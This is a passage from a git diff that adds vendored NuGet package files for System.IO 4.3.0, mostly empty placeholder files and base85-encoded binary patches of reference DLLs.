zC29{o(44nKkxzvGk|oMKu+@R1@6xlp6-nzD^!Ak&ONQ6KK6vdT{@hK*zQfl( z>o2tVcdYICI5-m9botPJ+2<3DZ-brPSQH&-CcIxyJMFmk!H0KS^fdzm!@?(?LQ|d- zYlPJEWL&MN?~J(HYnl@-C5&orT(v@UG(T?TE=QYD&J4O*r|Hf*Snz0&EVzx8~Og3JEqq9 zCUm#0WZxy%r~PKh%5|iD>m@^5_m-9{|B|qA&)Uq`gQ2&3_fCjSYCX*UaH*VaPik4y ze&K42QF6nH#6l@8>`hFHOKwcsJAc|l^^ zt?L!H-fc`C>D67w+T%sdlVTx0K4vc--t@i~>KVi{m+jUWC!5C(eLiGSIsTNgi5MIn zb2#a01#6Y|**BN2KBOI|To?P$uo)$u_*EornX`7?>c{OIF8T3WB6V2?@|0htKU2l= zF8$b|;w&#Y-d<(p$jiQxUl= zS>th{`iaT%T>Etoif^~MJP&&6cE0l|-16<(fX!EqW-q&!`^1-MsWjenXT-hZD6&_7 z{Ek&#^j`fYb#az6k2SjPcxODNZnfkE3g-JWYpVpGk8MP`2r0en zt=jYTa(<0M1QaFp1xLwt_CC|uRzz``QmORzBQ!DTx#ot(RdFx=wFBx@7L!5ZhPZ2?AeZH(jfB(0gsr zkkD}MEJf_RR>)JTHfRPefa8U4N^BI5tA+!9)5eLpl${KV%8>)@? z0oDJl-ufTj=?0bt_?!i~(><+S0IrY!cWIYDDEntX|6kpep`-jL6eQMZdS>83Z-x61LF9aBwSOT@PeMt&ZUiC=rZML=_T`sJk@7FVgc<#k(nnPTr5?{Lx?>2u(W zJ$YwRG+p+Eld!-e{rJYqXV2UEyE`oABFhpbi_Z=0YW3MU!FpVO>xF}qBwf)_Zqa*; z)my#PTpSM>r|uZxa6V_%Z#68GbF#1z9V~dgPC4XbWsiCSfI`L!>2Mz zW>!Wm=|Yhv_KN9Gqpv4Wy?O@xt`Qpcx7;K<@~|+)=blU^m-;?zO+KT&)4ajyNUOiF zXp^PwhbMQLt8O=R`b|8G>39>Jc(GDQ@wIgFi9KoWA6o6n>JC4ALHGXH-eMX^No9t3Qn(SDo@F)t2jI|+x z|Er9GH3t7JVDLhX1MV208KJJr`KMv2#auJnKQ)4?syYF`YA!&1CIF_wI`ex?a1^fu zFN4`;3IGT^vR8!AX#P7h9-)cp*!I`jNUX+!yl6Z)uAaM;L*Ka;vB4}zeg?tkKE<J#Q#fyVWbn`ziuC4z~4zMkq98#AL~MZ1(D zj;8j<1CX7KYJ0`!$r7jAnFUG3>j}D>oNg%<-;as8^y)zIK*UY9ZD|$CtV{e}5CT_m zo_1RwCuvglz6U23z#(`4^aah!I~sNPI`I~%5%p7H*ezT;L#>apcE(*Vv5@i1(dLen zeipnp>t3z)`*jg_@my5`nEeJg!x7PA_fso;PBMHiZS!!+v-1$fG2w@#y_}MO| zMccP1jD2EbA%}z8G9SUpdrx0^yZ_mJ;55GV8?$C1zC}Y3VBtBq1Kif)_yN#>e+I19 z1P=_Nw?von{d)KIH?xH z|GTvdE|J1XiDjGq69)_2K;uY$m8|-t;R8I8V&8?07&%sUkar>H1D%8123ix5p13V` z&+F1IkY7fEw2>B;>x zpx+nSbxyOBs?{Cw=*?=~!&jR2g$b)VaCdS%{q$XldFi!|CkN||Vgpz|YqY#&y075w zDYkXepb<+lPzze>M4qTb{P6SJIr>14UI(Yaz_#SV#wyEy{JKbph EKbmnPJpcdz literal 0 HcmV?d00001 diff --git a/packages/System.IO.4.3.0/lib/portable-net45+win8+wp8+wpa81/_._ b/packages/System.IO.4.3.0/lib/portable-net45+win8+wp8+wpa81/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/lib/win8/_._ b/packages/System.IO.4.3.0/lib/win8/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/lib/wp80/_._ b/packages/System.IO.4.3.0/lib/wp80/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/lib/wpa81/_._ b/packages/System.IO.4.3.0/lib/wpa81/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/lib/xamarinios10/_._ b/packages/System.IO.4.3.0/lib/xamarinios10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/lib/xamarinmac20/_._ b/packages/System.IO.4.3.0/lib/xamarinmac20/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/lib/xamarintvos10/_._ b/packages/System.IO.4.3.0/lib/xamarintvos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/lib/xamarinwatchos10/_._ b/packages/System.IO.4.3.0/lib/xamarinwatchos10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/MonoAndroid10/_._ b/packages/System.IO.4.3.0/ref/MonoAndroid10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/MonoTouch10/_._ b/packages/System.IO.4.3.0/ref/MonoTouch10/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/net45/_._ b/packages/System.IO.4.3.0/ref/net45/_._ new file mode 100644 index 0000000..e69de29 diff --git a/packages/System.IO.4.3.0/ref/net462/System.IO.dll b/packages/System.IO.4.3.0/ref/net462/System.IO.dll new file mode 100644 index 0000000000000000000000000000000000000000..c33120c6e803faa746bf660a1b5f67bdab15460c GIT binary patch literal 22184 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 EKbmnPJpcdz literal 0 HcmV?d00001 diff --git a/packages/System.IO.4.3.0/ref/netcore50/System.IO.dll b/packages/System.IO.4.3.0/ref/netcore50/System.IO.dll new file mode 100644 index 0000000000000000000000000000000000000000..4bc64f3928aedae16e08170388511348dbf676e2 GIT binary patch literal 29864 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 